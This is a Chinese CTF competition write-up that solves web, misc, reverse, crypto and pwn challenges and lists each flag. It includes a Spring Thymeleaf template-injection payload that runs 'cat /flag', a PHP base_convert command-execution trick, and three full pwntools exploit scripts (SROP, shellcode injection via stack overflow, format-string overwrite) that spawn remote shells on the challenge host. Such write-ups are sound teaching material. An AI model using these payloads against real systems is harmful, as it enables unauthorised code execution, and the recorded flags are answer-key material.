Web

web 1 input_data

svn泄露,使用SVN泄露的漏洞利用工具dvcs-ripper即可恢复flag文件

flag值:flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

web 2 admin

扫目录发现两个目录,admin和login

根据报错页面发现是springboot Thymeleaf 模板注入

找到一篇文章写的很好,利用文章给出的payload打,注意需要在admin目录请求且需要对特殊字符url编码下

1
https://www.freebuf.com/articles/network/250026.html

payload如下:

1
http://101.200.58.4:3333//admin/?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::.x

flag值:flag{1a196391-e1ca-403c-9451-a34616c460e7}

web 4 如此多的FLAG

进入之后是一个登陆界面,账户默认admin,登录框爆破得到密码,登陆是一个假的flag

查看源码发现提示F1aag.php,访问F1aag.php,源码里提示cookie,刷新在cookie里看到FFLL4g.php,访问

这里有三层绕过,我们详细分析一下

第一层:要求大于9999且不能为数字,用10000a绕过

第二层:传入的字符的md5值与它本身弱相等,利用0e特性绕过

第三层:最关键的一层,网上找到相似的题型,攻防世界的一道题,参考文章

1
https://www.cnblogs.com/zhengna/p/13964630.html

按照文章所说,利用以下payload执行ls命令

1
base_convert(1751504350,10,36)(base_convert(784,10,36))

得到当前目录所有文件

1
F1aaj.php FFLL.php FFLLLLLLLLLLLaGGGGG.php FLLL4g.php Flaaj.html index.php login.php logout.php logout.php

直接访问FFLLLLLLLLLLLaGGGGG.php页面即可得到flag

flag值:flag{51efc7cd-d816-49e7-86c6-bcd801107609}

Misc

misc 1 信息安全大赛的通知

打开后是一个文档,直接搜索flag可以看到有隐藏的文字

改变一下颜色就能看到完整flag

flag值:flag{HNCTF9090AS9nbg87600hn77hn88}

misc 2 编码转换

打开文本有三个编码

第一个braikfuck解码,得到第一段flag

第二个js代码,直接放浏览器就能得到第二段flag

第三个ook解码,得到最后一段flag

flag值:flag{ab71cda1b495e13b3f21f6fd50221978}

misc 4 coding_analyse

一眼html实体编码,解码

剩下依次先逆序,再解16进制,base64,凯撒,得到flag

flag值:flag{HNCTFbs345680967709b5}

Reverse

reverse 2 机器猫

首先使用pyinstxtractor工具将2.exe反编译出pyc文件

找和exe文件名相同的文件,后缀加上pyc,再补上pyc文件头

之后再使用uncompyle6工具将pyc反编译为py文件

打开末尾有一串base64编码,解码

1
fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20=

先倒序,然后随波逐流一把梭,得到flag

flag值:flag{HNCTFdw3b08416PKvydw3b08416PK}

Crypto

crypto 1 不小心

网上找到原题 [河北银行 2022 CTF] 手抖的小明,文章链接如下

1
https://blog.csdn.net/weixin_52640415/article/details/126627810

直接运行把flag头换一下,得到flag

flag值: flag{78ada113e709fdf12a5aa4aa5dd62e33}

Pwn

pwn 1 ASM

已经给了 /bin/sh 字符串的地址,通过 ret 指令返回到 read 函数,使用 read 函数来读取数据到栈上。在调用 read 函数时,确保栈指针 rsp 指向我们构造的 Sigreturn Frame。当 read 函数返回时,栈指针会指向 Sigreturn Frame,并且 rax 寄存器已经被设置为 0xf,触发 sigreturn 系统调用。当 sigreturn 系统调用被触发时,系统会根据我们构造的 Sigreturn Frame 恢复寄存器状态,并执行 execve 系统调用。从而获取系统权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

connection = remote('101.200.58.4', 10001)

binary = ELF('./asm')

context(log_level='debug', os='linux', arch='amd64')

read_func = 0x000000000040101b
payload_part1 = p64(read_func)

xor_eax_ecx_gadget = 0x40103a
xor_rax_rcx_gadget = 0x401039
mov_rcx_xor_gadget = 0x401034
ret_gadget = 0x000000000040102f
syscall_gadget = 0x40102d

p1_gadget = 0x401024
binary_path = 0x40200A

sigreturn_frame = SigreturnFrame()
sigreturn_frame.rax = 0x3b
sigreturn_frame.rdi = binary_path
sigreturn_frame.rsi = 0
sigreturn_frame.rdx = 0
sigreturn_frame.rsp = 0x402050
sigreturn_frame.rip = syscall_gadget

payload = p64(0x000040101B) * 2 + bytes(sigreturn_frame)
connection.sendafter(b'Hello Pwn', payload)

sleep(1)
connection.send(p64(syscall_gadget) + p8(0) * 7)

connection.interactive()

flag值:flag{354884b7-235d-4281-a5e6-742ef82aeb0f}

pwn 2 ret

利用栈溢出漏洞,我们可以覆盖函数的返回地址,使其指向我们写入的shellcode。利用格式化字符串漏洞泄漏栈地址,从而计算出返回地址的位置。将shellcode写入内存,并确保返回地址被覆盖为shellcode的地址。当函数返回时,程序将跳转到我们写入的shellcode,执行 /bin/sh,从而获取系统权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
import numpy as np

# 本地文件路径
local_binary = './ret'

# 加载ELF文件
elf_binary = ELF(local_binary)
libc_binary = ELF('libc.so.6')

# 设置调试上下文
context.log_level = 'debug'
context.arch = elf_binary.arch
context.terminal = ['tmux', 'neww']

# RCE和Realloc的偏移量
rce_offsets_16 = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
rce_offsets_18 = [0x4f2c5, 0x4f322, 0x10a38c]
realloc_offsets_16 = [0x2, 0x4, 0x6, 0xB, 0xC, 0xD]
realloc_offsets_18 = [0x2, 0x4, 0x6, 0x8, 0x9, 0xa]

# 其他偏移量
arae_offset_16 = 0x3c4b78
arae_offset_18 = 0x3ebca0

# 定义一些辅助函数
newline_char = "\n"
send_data = lambda data: io.send(data)
send_after = lambda delim, data: io.sendafter(delim, data)
send_line = lambda data: io.sendline(data)
send_line_after = lambda delim, data: io.sendlineafter(delim, data)
receive_data = lambda numb=4096: io.recv(numb)
receive_until = lambda delims, drop=True: io.recvuntil(delims, drop)
unpack_u32 = lambda data: u32(data.ljust(4, b'\x00'))
unpack_u64 = lambda data: u64(data.ljust(8, b'\x00'))
get_qword = lambda data: (~np.uint64(data) + 1)
get_dword = lambda data: (~np.uint32(data) + 1)
log_address = lambda tag, addr: io.info(tag + '==>' + ': {:#x}'.format(addr))
interactive_mode = lambda: io.interactive()

# 是否为调试模式
is_debug_mode = 0
if is_debug_mode:
io = process(local_binary)
# io = process(["/Users/Juxin.Gao/Desktop/ctf/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so", local_binary], env={"LD_PRELOAD": "./libc-2.23.so"})
else:
io = remote('101.200.58.4', 10004)

# 加载libc
libc = elf_binary.libc

def debug(cmd='''b *0x400863'''):
if is_debug_mode:
gdb.attach(io, cmd)
pause()

debug()

# 接收并发送数据
receive_until('hello,What do you want to ask?\n')
send_data('%8$p')

# 获取栈地址
stack_address = int(receive_data(14), 16)
print(hex(stack_address))

# 计算返回地址
return_address = stack_address - 0x90
print(hex(return_address))

# 构造shellcode
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x5e\xb0\x3b\x0f\x05'

# 发送shellcode
receive_until('luck number\n')
send_data(shellcode + b'a' * (7 + 0x68) + p64(return_address))

# 进入交互模式
interactive_mode()

flag值:flag{42dbb41a-3a3a-4f92-8066-034b4f0085d5}

pwn 3 normal pwn

通过观察栈帧结构,我们可以推测出栈指针(SP)大致相当于基指针(RBP)。进一步分析可以发现,SP指向的位置可以直接用来构造“踏板”,即通过两次 printf 调用来修改返回地址。此外,程序中存在一个后门函数,因此我们无需担心写入地址过大需要多次写入的问题,然后直接一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
import numpy as np

local_binary = './pfdata1'

elf_binary = ELF(local_binary)
libc_binary = ELF('libc-2.27.so')

context.log_level = 'debug'
context.arch = elf_binary.arch
context.terminal = ['tmux', 'neww']

rce_offsets_16 = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
rce_offsets_18 = [0x4f2c5, 0x4f322, 0x10a38c]
realloc_offsets_16 = [0x2, 0x4, 0x6, 0xB, 0xC, 0xD]
realloc_offsets_18 = [0x2, 0x4, 0x6, 0x8, 0x9, 0xa]

arae_offset_16 = 0x3c4b78
arae_offset_18 = 0x3ebca0

newline_char = "\n"
send_data = lambda data: io.send(data)
send_after = lambda delim, data: io.sendafter(delim, data)
send_line = lambda data: io.sendline(data)
send_line_after = lambda delim, data: io.sendlineafter(delim, data)
receive_data = lambda numb=4096: io.recv(numb)
receive_until = lambda delims, drop=True: io.recvuntil(delims, drop)
unpack_u32 = lambda data: u32(data.ljust(4, b'\x00'))
unpack_u64 = lambda data: u64(data.ljust(8, b'\x00'))
get_qword = lambda data: (~np.uint64(data) + 1)
get_dword = lambda data: (~np.uint32(data) + 1)
log_address = lambda tag, addr: io.info(tag + '==>' + ': {:#x}'.format(addr))
interactive_mode = lambda: io.interactive()

is_debug_mode = 3

if is_debug_mode == 1:
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", local_binary])
elif is_debug_mode == 0:
io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", local_binary])
else:
io = remote('101.200.58.4', 5555)

def debug(cmd=''):
if is_debug_mode:
gdb.attach(io, cmd)
pause()

def menu_select(choice):
receive_until(' choice:')
send_line(str(choice))

def add(index, size):
menu_select(97)
receive_until(':')
send_line(str(index))
receive_until(':')
send_line(str(size))

def edit(index, content):
menu_select(101)
receive_until(':')
send_line(str(index))
receive_until(':')
send_data(content)

def show(index):
menu_select(115)
receive_until(':')
send_line(str(index))

add(0, 0x400)
add(1, 0x400)

edit(0, '%8$p')
show(0)

receive_until('0x')
stack_address = int(receive_data(10), 16)
print(hex(stack_address))

stack_low_16 = stack_address & 0xffff
print(hex(stack_low_16))

stack_offset = stack_low_16 - 0x20 + 8
tmp = stack_offset

edit(0, '%' + str(tmp) + 'c%8$hn')
show(0)

edit(0, '%' + str(0x00D40) + 'c%12$hn')
show(0)

interactive_mode()

flag:flag{252ef11b-3721-436d-b41b-8e86808d27f1}